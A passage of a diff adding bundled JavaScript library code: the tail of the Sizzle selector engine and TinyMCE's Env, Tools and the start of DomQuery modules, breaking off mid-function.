+					if ( elem.nodeType === 1 || checkNonElements ) {
+						outerCache = elem[ expando ] || (elem[ expando ] = {});
+						if ( (oldCache = outerCache[ dir ]) &&
+							oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
+
+							// Assign to newCache so results back-propagate to previous elements
+							return (newCache[ 2 ] = oldCache[ 2 ]);
+						} else {
+							// Reuse newcache so results back-propagate to previous elements
+							outerCache[ dir ] = newCache;
+
+							// A match means we're done; a fail means we have to keep checking
+							if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
+								return true;
+							}
+						}
+					}
+				}
+			}
+		};
+}
+
+function elementMatcher( matchers ) {
+	return matchers.length > 1 ?
+		function( elem, context, xml ) {
+			var i = matchers.length;
+			while ( i-- ) {
+				if ( !matchers[i]( elem, context, xml ) ) {
+					return false;
+				}
+			}
+			return true;
+		} :
+		matchers[0];
+}
+
+function multipleContexts( selector, contexts, results ) {
+	var i = 0,
+		len = contexts.length;
+	for ( ; i < len; i++ ) {
+		Sizzle( selector, contexts[i], results );
+	}
+	return results;
+}
+
+function condense( unmatched, map, filter, context, xml ) {
+	var elem,
+		newUnmatched = [],
+		i = 0,
+		len = unmatched.length,
+		mapped = map != null;
+
+	for ( ; i < len; i++ ) {
+		if ( (elem = unmatched[i]) ) {
+			if ( !filter || filter( elem, context, xml ) ) {
+				newUnmatched.push( elem );
+				if ( mapped ) {
+					map.push( i );
+				}
+			}
+		}
+	}
+
+	return newUnmatched;
+}
+
+function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
+	if ( postFilter && !postFilter[ expando ] ) {
+		postFilter = setMatcher( postFilter );
+	}
+	if ( postFinder && !postFinder[ expando ] ) {
+		postFinder = setMatcher( postFinder, postSelector );
+	}
+	return markFunction(function( seed, results, context, xml ) {
+		var temp, i, elem,
+			preMap = [],
+			postMap = [],
+			preexisting = results.length,
+
+			// Get initial elements from seed or context
+			elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
+
+			// Prefilter to get matcher input, preserving a map for seed-results synchronization
+			matcherIn = preFilter && ( seed || !selector ) ?
+				condense( elems, preMap, preFilter, context, xml ) :
+				elems,
+
+			matcherOut = matcher ?
+				// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
+				postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
+
+					// ...intermediate processing is necessary
+					[] :
+
+					// ...otherwise use results directly
+					results :
+				matcherIn;
+
+		// Find primary matches
+		if ( matcher ) {
+			matcher( matcherIn, matcherOut, context, xml );
+		}
+
+		// Apply postFilter
+		if ( postFilter ) {
+			temp = condense( matcherOut, postMap );
+			postFilter( temp, [], context, xml );
+
+			// Un-match failing elements by moving them back to matcherIn
+			i = temp.length;
+			while ( i-- ) {
+				if ( (elem = temp[i]) ) {
+					matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
+				}
+			}
+		}
+
+		if ( seed ) {
+			if ( postFinder || preFilter ) {
+				if ( postFinder ) {
+					// Get the final matcherOut by condensing this intermediate into postFinder contexts
+					temp = [];
+					i = matcherOut.length;
+					while ( i-- ) {
+						if ( (elem = matcherOut[i]) ) {
+							// Restore matcherIn since elem is not yet a final match
+							temp.push( (matcherIn[i] = elem) );
+						}
+					}
+					postFinder( null, (matcherOut = []), temp, xml );
+				}
+
+				// Move matched elements from seed to results to keep them synchronized
+				i = matcherOut.length;
+				while ( i-- ) {
+					if ( (elem = matcherOut[i]) &&
+						(temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {
+
+						seed[temp] = !(results[temp] = elem);
+					}
+				}
+			}
+
+		// Add elements to results, through postFinder if defined
+		} else {
+			matcherOut = condense(
+				matcherOut === results ?
+					matcherOut.splice( preexisting, matcherOut.length ) :
+					matcherOut
+			);
+			if ( postFinder ) {
+				postFinder( null, results, matcherOut, xml );
+			} else {
+				push.apply( results, matcherOut );
+			}
+		}
+	});
+}
+
+function matcherFromTokens( tokens ) {
+	var checkContext, matcher, j,
+		len = tokens.length,
+		leadingRelative = Expr.relative[ tokens[0].type ],
+		implicitRelative = leadingRelative || Expr.relative[" "],
+		i = leadingRelative ? 1 : 0,
+
+		// The foundational matcher ensures that elements are reachable from top-level context(s)
+		matchContext = addCombinator( function( elem ) {
+			return elem === checkContext;
+		}, implicitRelative, true ),
+		matchAnyContext = addCombinator( function( elem ) {
+			return indexOf.call( checkContext, elem ) > -1;
+		}, implicitRelative, true ),
+		matchers = [ function( elem, context, xml ) {
+			return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
+				(checkContext = context).nodeType ?
+					matchContext( elem, context, xml ) :
+					matchAnyContext( elem, context, xml ) );
+		} ];
+
+	for ( ; i < len; i++ ) {
+		if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
+			matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
+		} else {
+			matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
+
+			// Return special upon seeing a positional matcher
+			if ( matcher[ expando ] ) {
+				// Find the next relative operator (if any) for proper handling
+				j = ++i;
+				for ( ; j < len; j++ ) {
+					if ( Expr.relative[ tokens[j].type ] ) {
+						break;
+					}
+				}
+				return setMatcher(
+					i > 1 && elementMatcher( matchers ),
+					i > 1 && toSelector(
+						// If the preceding token was a descendant combinator, insert an implicit any-element `*`
+						tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
+					).replace( rtrim, "$1" ),
+					matcher,
+					i < j && matcherFromTokens( tokens.slice( i, j ) ),
+					j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
+					j < len && toSelector( tokens )
+				);
+			}
+			matchers.push( matcher );
+		}
+	}
+
+	return elementMatcher( matchers );
+}
+
+function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
+	var bySet = setMatchers.length > 0,
+		byElement = elementMatchers.length > 0,
+		superMatcher = function( seed, context, xml, results, outermost ) {
+			var elem, j, matcher,
+				matchedCount = 0,
+				i = "0",
+				unmatched = seed && [],
+				setMatched = [],
+				contextBackup = outermostContext,
+				// We must always have either seed elements or outermost context
+				elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
+				// Use integer dirruns iff this is the outermost matcher
+				dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
+				len = elems.length;
+
+			if ( outermost ) {
+				outermostContext = context !== document && context;
+			}
+
+			// Add elements passing elementMatchers directly to results
+			// Keep `i` a string if there are no elements so `matchedCount` will be "00" below
+			// Support: IE<9, Safari
+			// Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
+			for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
+				if ( byElement && elem ) {
+					j = 0;
+					while ( (matcher = elementMatchers[j++]) ) {
+						if ( matcher( elem, context, xml ) ) {
+							results.push( elem );
+							break;
+						}
+					}
+					if ( outermost ) {
+						dirruns = dirrunsUnique;
+					}
+				}
+
+				// Track unmatched elements for set filters
+				if ( bySet ) {
+					// They will have gone through all possible matchers
+					if ( (elem = !matcher && elem) ) {
+						matchedCount--;
+					}
+
+					// Lengthen the array for every element, matched or not
+					if ( seed ) {
+						unmatched.push( elem );
+					}
+				}
+			}
+
+			// Apply set filters to unmatched elements
+			matchedCount += i;
+			if ( bySet && i !== matchedCount ) {
+				j = 0;
+				while ( (matcher = setMatchers[j++]) ) {
+					matcher( unmatched, setMatched, context, xml );
+				}
+
+				if ( seed ) {
+					// Reintegrate element matches to eliminate the need for sorting
+					if ( matchedCount > 0 ) {
+						while ( i-- ) {
+							if ( !(unmatched[i] || setMatched[i]) ) {
+								setMatched[i] = pop.call( results );
+							}
+						}
+					}
+
+					// Discard index placeholder values to get only actual matches
+					setMatched = condense( setMatched );
+				}
+
+				// Add matches to results
+				push.apply( results, setMatched );
+
+				// Seedless set matches succeeding multiple successful matchers stipulate sorting
+				if ( outermost && !seed && setMatched.length > 0 &&
+					( matchedCount + setMatchers.length ) > 1 ) {
+
+					Sizzle.uniqueSort( results );
+				}
+			}
+
+			// Override manipulation of globals by nested matchers
+			if ( outermost ) {
+				dirruns = dirrunsUnique;
+				outermostContext = contextBackup;
+			}
+
+			return unmatched;
+		};
+
+	return bySet ?
+		markFunction( superMatcher ) :
+		superMatcher;
+}
+
+compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
+	var i,
+		setMatchers = [],
+		elementMatchers = [],
+		cached = compilerCache[ selector + " " ];
+
+	if ( !cached ) {
+		// Generate a function of recursive functions that can be used to check each element
+		if ( !match ) {
+			match = tokenize( selector );
+		}
+		i = match.length;
+		while ( i-- ) {
+			cached = matcherFromTokens( match[i] );
+			if ( cached[ expando ] ) {
+				setMatchers.push( cached );
+			} else {
+				elementMatchers.push( cached );
+			}
+		}
+
+		// Cache the compiled function
+		cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
+
+		// Save selector and tokenization
+		cached.selector = selector;
+	}
+	return cached;
+};
+
+/**
+ * A low-level selection function that works with Sizzle's compiled
+ *  selector functions
+ * @param {String|Function} selector A selector or a pre-compiled
+ *  selector function built with Sizzle.compile
+ * @param {Element} context
+ * @param {Array} [results]
+ * @param {Array} [seed] A set of elements to match against
+ */
+select = Sizzle.select = function( selector, context, results, seed ) {
+	var i, tokens, token, type, find,
+		compiled = typeof selector === "function" && selector,
+		match = !seed && tokenize( (selector = compiled.selector || selector) );
+
+	results = results || [];
+
+	// Try to minimize operations if there is no seed and only one group
+	if ( match.length === 1 ) {
+
+		// Take a shortcut and set the context if the root selector is an ID
+		tokens = match[0] = match[0].slice( 0 );
+		if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
+				support.getById && context.nodeType === 9 && documentIsHTML &&
+				Expr.relative[ tokens[1].type ] ) {
+
+			context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
+			if ( !context ) {
+				return results;
+
+			// Precompiled matchers will still verify ancestry, so step up a level
+			} else if ( compiled ) {
+				context = context.parentNode;
+			}
+
+			selector = selector.slice( tokens.shift().value.length );
+		}
+
+		// Fetch a seed set for right-to-left matching
+		i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
+		while ( i-- ) {
+			token = tokens[i];
+
+			// Abort if we hit a combinator
+			if ( Expr.relative[ (type = token.type) ] ) {
+				break;
+			}
+			if ( (find = Expr.find[ type ]) ) {
+				// Search, expanding context for leading sibling combinators
+				if ( (seed = find(
+					token.matches[0].replace( runescape, funescape ),
+					rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
+				)) ) {
+
+					// If seed is empty or no tokens remain, we can return early
+					tokens.splice( i, 1 );
+					selector = seed.length && toSelector( tokens );
+					if ( !selector ) {
+						push.apply( results, seed );
+						return results;
+					}
+
+					break;
+				}
+			}
+		}
+	}
+
+	// Compile and execute a filtering function if one is not provided
+	// Provide `match` to avoid retokenization if we modified the selector above
+	( compiled || compile( selector, match ) )(
+		seed,
+		context,
+		!documentIsHTML,
+		results,
+		rsibling.test( selector ) && testContext( context.parentNode ) || context
+	);
+	return results;
+};
+
+// One-time assignments
+
+// Sort stability
+support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;
+
+// Support: Chrome 14-35+
+// Always assume duplicates if they aren't passed to the comparison function
+support.detectDuplicates = !!hasDuplicate;
+
+// Initialize against the default document
+setDocument();
+
+// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
+// Detached nodes confoundingly follow *each other*
+support.sortDetached = assert(function( div1 ) {
+	// Should return 1, but returns 4 (following)
+	return div1.compareDocumentPosition( document.createElement("div") ) & 1;
+});
+
+// Support: IE<8
+// Prevent attribute/property "interpolation"
+// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
+if ( !assert(function( div ) {
+	div.innerHTML = "<a href='#'></a>";
+	return div.firstChild.getAttribute("href") === "#" ;
+}) ) {
+	addHandle( "type|href|height|width", function( elem, name, isXML ) {
+		if ( !isXML ) {
+			return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
+		}
+	});
+}
+
+// Support: IE<9
+// Use defaultValue in place of getAttribute("value")
+if ( !support.attributes || !assert(function( div ) {
+	div.innerHTML = "<input/>";
+	div.firstChild.setAttribute( "value", "" );
+	return div.firstChild.getAttribute( "value" ) === "";
+}) ) {
+	addHandle( "value", function( elem, name, isXML ) {
+		if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
+			return elem.defaultValue;
+		}
+	});
+}
+
+// Support: IE<9
+// Use getAttributeNode to fetch booleans when getAttribute lies
+if ( !assert(function( div ) {
+	return div.getAttribute("disabled") == null;
+}) ) {
+	addHandle( booleans, function( elem, name, isXML ) {
+		var val;
+		if ( !isXML ) {
+			return elem[ name ] === true ? name.toLowerCase() :
+					(val = elem.getAttributeNode( name )) && val.specified ?
+					val.value :
+				null;
+		}
+	});
+}
+
+// EXPOSE
+return Sizzle;
+});
+
+// Included from: js/tinymce/classes/Env.js
+
+/**
+ * Env.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class contains various environment constants like browser versions etc.
+ * Normally you don't want to sniff specific browser versions but sometimes you have
+ * to when it's impossible to feature detect. So use this with care.
+ *
+ * @class tinymce.Env
+ * @static
+ */
+define("tinymce/Env", [], function() {
+	var nav = navigator, userAgent = nav.userAgent;
+	var opera, webkit, ie, ie11, gecko, mac, iDevice;
+
+	opera = window.opera && window.opera.buildNumber;
+	webkit = /WebKit/.test(userAgent);
+	ie = !webkit && !opera && (/MSIE/gi).test(userAgent) && (/Explorer/gi).test(nav.appName);
+	ie = ie && /MSIE (\w+)\./.exec(userAgent)[1];
+	ie11 = userAgent.indexOf('Trident/') != -1 && (userAgent.indexOf('rv:') != -1 || nav.appName.indexOf('Netscape') != -1) ? 11 : false;
+	ie = ie || ie11;
+	gecko = !webkit && !ie11 && /Gecko/.test(userAgent);
+	mac = userAgent.indexOf('Mac') != -1;
+	iDevice = /(iPad|iPhone)/.test(userAgent);
+
+	// Is a iPad/iPhone and not on iOS5 sniff the WebKit version since older iOS WebKit versions
+	// says it has contentEditable support but there is no visible caret.
+	var contentEditable = !iDevice || userAgent.match(/AppleWebKit\/(\d*)/)[1] >= 534;
+
+	return {
+		/**
+		 * Constant that is true if the browser is Opera.
+		 *
+		 * @property opera
+		 * @type Boolean
+		 * @final
+		 */
+		opera: opera,
+
+		/**
+		 * Constant that is true if the browser is WebKit (Safari/Chrome).
+		 *
+		 * @property webKit
+		 * @type Boolean
+		 * @final
+		 */
+		webkit: webkit,
+
+		/**
+		 * Constant that is more than zero if the browser is IE.
+		 *
+		 * @property ie
+		 * @type Boolean
+		 * @final
+		 */
+		ie: ie,
+
+		/**
+		 * Constant that is true if the browser is Gecko.
+		 *
+		 * @property gecko
+		 * @type Boolean
+		 * @final
+		 */
+		gecko: gecko,
+
+		/**
+		 * Constant that is true if the os is Mac OS.
+		 *
+		 * @property mac
+		 * @type Boolean
+		 * @final
+		 */
+		mac: mac,
+
+		/**
+		 * Constant that is true if the os is iOS.
+		 *
+		 * @property iOS
+		 * @type Boolean
+		 * @final
+		 */
+		iOS: iDevice,
+
+		/**
+		 * Constant that is true if the browser supports editing.
+		 *
+		 * @property contentEditable
+		 * @type Boolean
+		 * @final
+		 */
+		contentEditable: contentEditable,
+
+		/**
+		 * Transparent image data url.
+		 *
+		 * @property transparentSrc
+		 * @type Boolean
+		 * @final
+		 */
+		transparentSrc: "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",
+
+		/**
+		 * Returns true/false if the browser can or can't place the caret after a inline block like an image.
+		 *
+		 * @property noCaretAfter
+		 * @type Boolean
+		 * @final
+		 */
+		caretAfter: ie != 8,
+
+		/**
+		 * Constant that is true if the browser supports native DOM Ranges. IE 9+.
+		 *
+		 * @property range
+		 * @type Boolean
+		 */
+		range: window.getSelection && "Range" in window,
+
+		/**
+		 * Returns the IE document mode for non IE browsers this will fake IE 10.
+		 *
+		 * @property documentMode
+		 * @type Number
+		 */
+		documentMode: ie ? (document.documentMode || 7) : 10
+	};
+});
+
+// Included from: js/tinymce/classes/util/Tools.js
+
+/**
+ * Tools.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class contains various utlity functions. These are also exposed
+ * directly on the tinymce namespace.
+ *
+ * @class tinymce.util.Tools
+ */
+define("tinymce/util/Tools", [
+	"tinymce/Env"
+], function(Env) {
+	/**
+	 * Removes whitespace from the beginning and end of a string.
+	 *
+	 * @method trim
+	 * @param {String} s String to remove whitespace from.
+	 * @return {String} New string with removed whitespace.
+	 */
+	var whiteSpaceRegExp = /^\s*|\s*$/g;
+
+	function trim(str) {
+		return (str === null || str === undefined) ? '' : ("" + str).replace(whiteSpaceRegExp, '');
+	}
+
+	/**
+	 * Returns true/false if the object is an array or not.
+	 *
+	 * @method isArray
+	 * @param {Object} obj Object to check.
+	 * @return {boolean} true/false state if the object is an array or not.
+	 */
+	var isArray = Array.isArray || function(obj) {
+		return Object.prototype.toString.call(obj) === "[object Array]";
+	};
+
+	/**
+	 * Checks if a object is of a specific type for example an array.
+	 *
+	 * @method is
+	 * @param {Object} o Object to check type of.
+	 * @param {string} t Optional type to check for.
+	 * @return {Boolean} true/false if the object is of the specified type.
+	 */
+	function is(o, t) {
+		if (!t) {
+			return o !== undefined;
+		}
+
+		if (t == 'array' && isArray(o)) {
+			return true;
+		}
+
+		return typeof(o) == t;
+	}
+
+	/**
+	 * Converts the specified object into a real JavaScript array.
+	 *
+	 * @method toArray
+	 * @param {Object} obj Object to convert into array.
+	 * @return {Array} Array object based in input.
+	 */
+	function toArray(obj) {
+		var array = obj, i, l;
+
+		if (!isArray(obj)) {
+			array = [];
+			for (i = 0, l = obj.length; i < l; i++) {
+				array[i] = obj[i];
+			}
+		}
+
+		return array;
+	}
+
+	/**
+	 * Makes a name/object map out of an array with names.
+	 *
+	 * @method makeMap
+	 * @param {Array/String} items Items to make map out of.
+	 * @param {String} delim Optional delimiter to split string by.
+	 * @param {Object} map Optional map to add items to.
+	 * @return {Object} Name/value map of items.
+	 */
+	function makeMap(items, delim, map) {
+		var i;
+
+		items = items || [];
+		delim = delim || ',';
+
+		if (typeof(items) == "string") {
+			items = items.split(delim);
+		}
+
+		map = map || {};
+
+		i = items.length;
+		while (i--) {
+			map[items[i]] = {};
+		}
+
+		return map;
+	}
+
+	/**
+	 * Performs an iteration of all items in a collection such as an object or array. This method will execure the
+	 * callback function for each item in the collection, if the callback returns false the iteration will terminate.
+	 * The callback has the following format: cb(value, key_or_index).
+	 *
+	 * @method each
+	 * @param {Object} o Collection to iterate.
+	 * @param {function} cb Callback function to execute for each item.
+	 * @param {Object} s Optional scope to execute the callback in.
+	 * @example
+	 * // Iterate an array
+	 * tinymce.each([1,2,3], function(v, i) {
+	 *     console.debug("Value: " + v + ", Index: " + i);
+	 * });
+	 *
+	 * // Iterate an object
+	 * tinymce.each({a: 1, b: 2, c: 3], function(v, k) {
+	 *     console.debug("Value: " + v + ", Key: " + k);
+	 * });
+	 */
+	function each(o, cb, s) {
+		var n, l;
+
+		if (!o) {
+			return 0;
+		}
+
+		s = s || o;
+
+		if (o.length !== undefined) {
+			// Indexed arrays, needed for Safari
+			for (n = 0, l = o.length; n < l; n++) {
+				if (cb.call(s, o[n], n, o) === false) {
+					return 0;
+				}
+			}
+		} else {
+			// Hashtables
+			for (n in o) {
+				if (o.hasOwnProperty(n)) {
+					if (cb.call(s, o[n], n, o) === false) {
+						return 0;
+					}
+				}
+			}
+		}
+
+		return 1;
+	}
+
+	/**
+	 * Creates a new array by the return value of each iteration function call. This enables you to convert
+	 * one array list into another.
+	 *
+	 * @method map
+	 * @param {Array} array Array of items to iterate.
+	 * @param {function} callback Function to call for each item. It's return value will be the new value.
+	 * @return {Array} Array with new values based on function return values.
+	 */
+	function map(array, callback) {
+		var out = [];
+
+		each(array, function(item) {
+			out.push(callback(item));
+		});
+
+		return out;
+	}
+
+	/**
+	 * Filters out items from the input array by calling the specified function for each item.
+	 * If the function returns false the item will be excluded if it returns true it will be included.
+	 *
+	 * @method grep
+	 * @param {Array} a Array of items to loop though.
+	 * @param {function} f Function to call for each item. Include/exclude depends on it's return value.
+	 * @return {Array} New array with values imported and filtered based in input.
+	 * @example
+	 * // Filter out some items, this will return an array with 4 and 5
+	 * var items = tinymce.grep([1,2,3,4,5], function(v) {return v > 3;});
+	 */
+	function grep(a, f) {
+		var o = [];
+
+		each(a, function(v) {
+			if (!f || f(v)) {
+				o.push(v);
+			}
+		});
+
+		return o;
+	}
+
+	/**
+	 * Creates a class, subclass or static singleton.
+	 * More details on this method can be found in the Wiki.
+	 *
+	 * @method create
+	 * @param {String} s Class name, inheritage and prefix.
+	 * @param {Object} p Collection of methods to add to the class.
+	 * @param {Object} root Optional root object defaults to the global window object.
+	 * @example
+	 * // Creates a basic class
+	 * tinymce.create('tinymce.somepackage.SomeClass', {
+	 *     SomeClass: function() {
+	 *         // Class constructor
+	 *     },
+	 *
+	 *     method: function() {
+	 *         // Some method
+	 *     }
+	 * });
+	 *
+	 * // Creates a basic subclass class
+	 * tinymce.create('tinymce.somepackage.SomeSubClass:tinymce.somepackage.SomeClass', {
+	 *     SomeSubClass: function() {
+	 *         // Class constructor
+	 *         this.parent(); // Call parent constructor
+	 *     },
+	 *
+	 *     method: function() {
+	 *         // Some method
+	 *         this.parent(); // Call parent method
+	 *     },
+	 *
+	 *     'static': {
+	 *         staticMethod: function() {
+	 *             // Static method
+	 *         }
+	 *     }
+	 * });
+	 *
+	 * // Creates a singleton/static class
+	 * tinymce.create('static tinymce.somepackage.SomeSingletonClass', {
+	 *     method: function() {
+	 *         // Some method
+	 *     }
+	 * });
+	 */
+	function create(s, p, root) {
+		var self = this, sp, ns, cn, scn, c, de = 0;
+
+		// Parse : <prefix> <class>:<super class>
+		s = /^((static) )?([\w.]+)(:([\w.]+))?/.exec(s);
+		cn = s[3].match(/(^|\.)(\w+)$/i)[2]; // Class name
+
+		// Create namespace for new class
+		ns = self.createNS(s[3].replace(/\.\w+$/, ''), root);
+
+		// Class already exists
+		if (ns[cn]) {
+			return;
+		}
+
+		// Make pure static class
+		if (s[2] == 'static') {
+			ns[cn] = p;
+
+			if (this.onCreate) {
+				this.onCreate(s[2], s[3], ns[cn]);
+			}
+
+			return;
+		}
+
+		// Create default constructor
+		if (!p[cn]) {
+			p[cn] = function() {};
+			de = 1;
+		}
+
+		// Add constructor and methods
+		ns[cn] = p[cn];
+		self.extend(ns[cn].prototype, p);
+
+		// Extend
+		if (s[5]) {
+			sp = self.resolve(s[5]).prototype;
+			scn = s[5].match(/\.(\w+)$/i)[1]; // Class name
+
+			// Extend constructor
+			c = ns[cn];
+			if (de) {
+				// Add passthrough constructor
+				ns[cn] = function() {
+					return sp[scn].apply(this, arguments);
+				};
+			} else {
+				// Add inherit constructor
+				ns[cn] = function() {
+					this.parent = sp[scn];
+					return c.apply(this, arguments);
+				};
+			}
+			ns[cn].prototype[cn] = ns[cn];
+
+			// Add super methods
+			self.each(sp, function(f, n) {
+				ns[cn].prototype[n] = sp[n];
+			});
+
+			// Add overridden methods
+			self.each(p, function(f, n) {
+				// Extend methods if needed
+				if (sp[n]) {
+					ns[cn].prototype[n] = function() {
+						this.parent = sp[n];
+						return f.apply(this, arguments);
+					};
+				} else {
+					if (n != cn) {
+						ns[cn].prototype[n] = f;
+					}
+				}
+			});
+		}
+
+		// Add static methods
+		/*jshint sub:true*/
+		self.each(p['static'], function(f, n) {
+			ns[cn][n] = f;
+		});
+	}
+
+	/**
+	 * Returns the index of a value in an array, this method will return -1 if the item wasn't found.
+	 *
+	 * @method inArray
+	 * @param {Array} a Array/Object to search for value in.
+	 * @param {Object} v Value to check for inside the array.
+	 * @return {Number/String} Index of item inside the array inside an object. Or -1 if it wasn't found.
+	 * @example
+	 * // Get index of value in array this will alert 1 since 2 is at that index
+	 * alert(tinymce.inArray([1,2,3], 2));
+	 */
+	function inArray(a, v) {
+		var i, l;
+
+		if (a) {
+			for (i = 0, l = a.length; i < l; i++) {
+				if (a[i] === v) {
+					return i;
+				}
+			}
+		}
+
+		return -1;
+	}
+
+	function extend(obj, ext) {
+		var i, l, name, args = arguments, value;
+
+		for (i = 1, l = args.length; i < l; i++) {
+			ext = args[i];
+			for (name in ext) {
+				if (ext.hasOwnProperty(name)) {
+					value = ext[name];
+
+					if (value !== undefined) {
+						obj[name] = value;
+					}
+				}
+			}
+		}
+
+		return obj;
+	}
+
+	/**
+	 * Executed the specified function for each item in a object tree.
+	 *
+	 * @method walk
+	 * @param {Object} o Object tree to walk though.
+	 * @param {function} f Function to call for each item.
+	 * @param {String} n Optional name of collection inside the objects to walk for example childNodes.
+	 * @param {String} s Optional scope to execute the function in.
+	 */
+	function walk(o, f, n, s) {
+		s = s || this;
+
+		if (o) {
+			if (n) {
+				o = o[n];
+			}
+
+			each(o, function(o, i) {
+				if (f.call(s, o, i, n) === false) {
+					return false;
+				}
+
+				walk(o, f, n, s);
+			});
+		}
+	}
+
+	/**
+	 * Creates a namespace on a specific object.
+	 *
+	 * @method createNS
+	 * @param {String} n Namespace to create for example a.b.c.d.
+	 * @param {Object} o Optional object to add namespace to, defaults to window.
+	 * @return {Object} New namespace object the last item in path.
+	 * @example
+	 * // Create some namespace
+	 * tinymce.createNS('tinymce.somepackage.subpackage');
+	 *
+	 * // Add a singleton
+	 * var tinymce.somepackage.subpackage.SomeSingleton = {
+	 *     method: function() {
+	 *         // Some method
+	 *     }
+	 * };
+	 */
+	function createNS(n, o) {
+		var i, v;
+
+		o = o || window;
+
+		n = n.split('.');
+		for (i = 0; i < n.length; i++) {
+			v = n[i];
+
+			if (!o[v]) {
+				o[v] = {};
+			}
+
+			o = o[v];
+		}
+
+		return o;
+	}
+
+	/**
+	 * Resolves a string and returns the object from a specific structure.
+	 *
+	 * @method resolve
+	 * @param {String} n Path to resolve for example a.b.c.d.
+	 * @param {Object} o Optional object to search though, defaults to window.
+	 * @return {Object} Last object in path or null if it couldn't be resolved.
+	 * @example
+	 * // Resolve a path into an object reference
+	 * var obj = tinymce.resolve('a.b.c.d');
+	 */
+	function resolve(n, o) {
+		var i, l;
+
+		o = o || window;
+
+		n = n.split('.');
+		for (i = 0, l = n.length; i < l; i++) {
+			o = o[n[i]];
+
+			if (!o) {
+				break;
+			}
+		}
+
+		return o;
+	}
+
+	/**
+	 * Splits a string but removes the whitespace before and after each value.
+	 *
+	 * @method explode
+	 * @param {string} s String to split.
+	 * @param {string} d Delimiter to split by.
+	 * @example
+	 * // Split a string into an array with a,b,c
+	 * var arr = tinymce.explode('a, b,   c');
+	 */
+	function explode(s, d) {
+		if (!s || is(s, 'array')) {
+			return s;
+		}
+
+		return map(s.split(d || ','), trim);
+	}
+
+	function _addCacheSuffix(url) {
+		var cacheSuffix = Env.cacheSuffix;
+
+		if (cacheSuffix) {
+			url += (url.indexOf('?') === -1 ? '?' : '&') + cacheSuffix;
+		}
+
+		return url;
+	}
+
+	return {
+		trim: trim,
+		isArray: isArray,
+		is: is,
+		toArray: toArray,
+		makeMap: makeMap,
+		each: each,
+		map: map,
+		grep: grep,
+		inArray: inArray,
+		extend: extend,
+		create: create,
+		walk: walk,
+		createNS: createNS,
+		resolve: resolve,
+		explode: explode,
+		_addCacheSuffix: _addCacheSuffix
+	};
+});
+
+// Included from: js/tinymce/classes/dom/DomQuery.js
+
+/**
+ * DomQuery.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class mimics most of the jQuery API:
+ *
+ * This is whats currently implemented:
+ * - Utility functions
+ * - DOM traversial
+ * - DOM manipulation
+ * - Event binding
+ *
+ * This is not currently implemented:
+ * - Dimension
+ * - Ajax
+ * - Animation
+ * - Advanced chaining
+ *
+ * @example
+ * var $ = tinymce.dom.DomQuery;
+ * $('p').attr('attr', 'value').addClass('class');
+ *
+ * @class tinymce.dom.DomQuery
+ */
+define("tinymce/dom/DomQuery", [
+	"tinymce/dom/EventUtils",
+	"tinymce/dom/Sizzle",
+	"tinymce/util/Tools",
+	"tinymce/Env"
+], function(EventUtils, Sizzle, Tools, Env) {
+	var doc = document, push = Array.prototype.push, slice = Array.prototype.slice;
+	var rquickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/;
+	var Event = EventUtils.Event, undef;
+
+	function isDefined(obj) {
+		return typeof obj !== 'undefined';
+	}
+
+	function isString(obj) {
+		return typeof obj === 'string';
+	}
+
+	function isWindow(obj) {
+		return obj && obj == obj.window;
+	}
+
+	function createFragment(html, fragDoc) {
+		var frag, node, container;
+
+		fragDoc = fragDoc || doc;
+		container = fragDoc.createElement('div');
+		frag = fragDoc.createDocumentFragment();
+		container.innerHTML = html;
+
+		while ((node = container.firstChild)) {
+			frag.appendChild(node);
+		}
+
+		return frag;
+	}
+
+	function domManipulate(targetNodes, sourceItem, callback, reverse) {
+		var i;
+
+		if (isString(sourceItem)) {
+			sourceItem = createFragment(sourceItem, getElementDocument(targetNodes[0]));
+		} else if (sourceItem.length && !sourceItem.nodeType) {
+			sourceItem = DomQuery.makeArray(sourceItem);
+
+			if (reverse) {
+				for (i = sourceItem.length - 1; i >= 0; i--) {
+					domManipulate(targetNodes, sourceItem[i], callback, reverse);
+				}
+			} else {
